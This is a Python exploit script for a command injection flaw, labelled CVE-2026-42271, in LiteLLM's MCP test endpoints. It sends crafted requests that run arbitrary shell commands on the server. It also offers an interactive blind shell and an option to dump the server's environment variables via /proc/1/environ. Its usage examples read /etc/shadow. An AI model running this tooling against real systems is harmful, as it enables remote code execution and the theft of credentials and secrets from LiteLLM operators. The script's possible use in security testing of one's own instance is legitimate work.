#!/usr/bin/env python3
"""
CVE-2026-42271 — LiteLLM MCP stdio Command Injection Exploit

Exploits the POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list
endpoints to execute arbitrary commands on a vulnerable LiteLLM instance.

Usage:
    python3 exploit.py --target http://localhost:4000 --key sk-litellm-master-key --cmd "id"
    python3 exploit.py -t http://localhost:4000 -k sk-litellm-master-key -c "cat /etc/shadow > /tmp/out"
    python3 exploit.py -t http://localhost:4000 -k sk-litellm-master-key -i  # interactive
"""

import argparse
import json
import sys

import requests

from payload import generate_rce_payload


def exploit(
    target: str,
    api_key: str,
    command: str = "id",
    endpoint: str = "tools_list",
    proxy: str = None,
    timeout: int = 15,
    verify_ssl: bool = True,
) -> requests.Response:
    """
    Execute a command on a vulnerable LiteLLM instance.

    Args:
        target: Base URL (e.g. http://localhost:4000).
        api_key: Valid LiteLLM API key.
        command: Shell command to execute.
        endpoint: "tools_list" or "connection".
        proxy: Optional HTTP proxy (e.g. http://127.0.0.1:8080).
        timeout: Request timeout in seconds.
        verify_ssl: Verify SSL certificates.

    Returns:
        HTTP response object.
    """
    endpoint_paths = {
        "tools_list": "/mcp-rest/test/tools/list",
        "connection": "/mcp-rest/test/connection",
    }

    path = endpoint_paths.get(endpoint, endpoint_paths["tools_list"])
    url = f"{target.rstrip('/')}{path}"

    headers = {
        "Authorization": f"Bearer {api_key}",
        "Content-Type": "application/json",
    }

    payload = generate_rce_payload(command)

    session = requests.Session()
    if proxy:
        session.proxies = {"http": proxy, "https": proxy}

    print(f"[*] Target     : {url}")
    print(f"[*] Endpoint   : {endpoint}")
    print(f"[*] Command    : {command}")
    if proxy:
        print(f"[*] Proxy      : {proxy}")

    resp = session.post(url, headers=headers, json=payload, timeout=timeout, verify=verify_ssl)
    resp.raise_for_status()

    try:
        result = resp.json()
        if result.get("status") == "error":
            # Expected — the spawned process doesn't speak MCP protocol
            print("[!] Server reported MCP connection error (expected — command likely executed)")
            print(f"[!] Server message: {result.get('message', 'N/A')}")
        else:
            print(f"[?] Unexpected response: {json.dumps(result, indent=2)}")
    except json.JSONDecodeError:
        print(f"[?] Raw response: {resp.text[:500]}")

    return resp


def interactive_shell(target: str, api_key: str, endpoint: str = "tools_list", **kwargs):
    """Interactive shell — each command is executed via the vulnerability."""
    print("[*] Interactive Shell (blind injection — verify via side effects)")
    print("[*] Type 'exit' to quit.\n")

    while True:
        try:
            cmd = input("$ ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            break

        if not cmd or cmd.lower() in ("exit", "quit"):
            break

        try:
            exploit(target, api_key, command=cmd, endpoint=endpoint, **kwargs)
            print()
        except Exception as e:
            print(f"[-] Error: {e}")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-42271 — LiteLLM MCP stdio Command Injection Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-t", "--target", default="http://localhost:4000",
                        help="Target URL (default: http://localhost:4000)")
    parser.add_argument("-k", "--key", default="sk-litellm-master-key",
                        help="LiteLLM API key (default: sk-litellm-master-key)")
    parser.add_argument("-c", "--cmd", default="id",
                        help="Command to execute (default: id)")
    parser.add_argument("-e", "--endpoint", choices=["tools_list", "connection"],
                        default="tools_list",
                        help="Target endpoint (default: tools_list)")
    parser.add_argument("-i", "--interactive", action="store_true",
                        help="Interactive shell mode")
    parser.add_argument("-E", "--extract-env", action="store_true",
                        help="Extract LiteLLM environment via /proc/1/environ (bypasses MCP SDK env isolation)")
    parser.add_argument("-p", "--proxy",
                        help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    parser.add_argument("--timeout", type=int, default=15,
                        help="Request timeout (default: 15s)")

    args = parser.parse_args()

    kwargs = {
        "endpoint": args.endpoint,
        "proxy": args.proxy,
        "timeout": args.timeout,
    }

    if args.interactive:
        interactive_shell(args.target, args.key, **kwargs)
    else:
        command = args.cmd
        if args.extract_env:
            from payload import generate_env_extract_payload
            payload = generate_env_extract_payload()
            command = payload["args"][1]  # extract the raw command
            print("[*] Extracting LiteLLM environment via /proc/1/environ")
        try:
            resp = exploit(args.target, args.key, command=command, **kwargs)
            status = resp.status_code
            if status == 401:
                print("[-] Authentication failed — check your API key")
            elif status == 404:
                print("[-] Endpoint not found — target may be patched")
        except requests.exceptions.ConnectionError:
            print(f"[-] Connection failed to {args.target}")
            print("[-] Is the container running?")
            sys.exit(1)
        except requests.exceptions.Timeout:
            print("[-] Request timed out")
            sys.exit(1)


if __name__ == "__main__":
    main()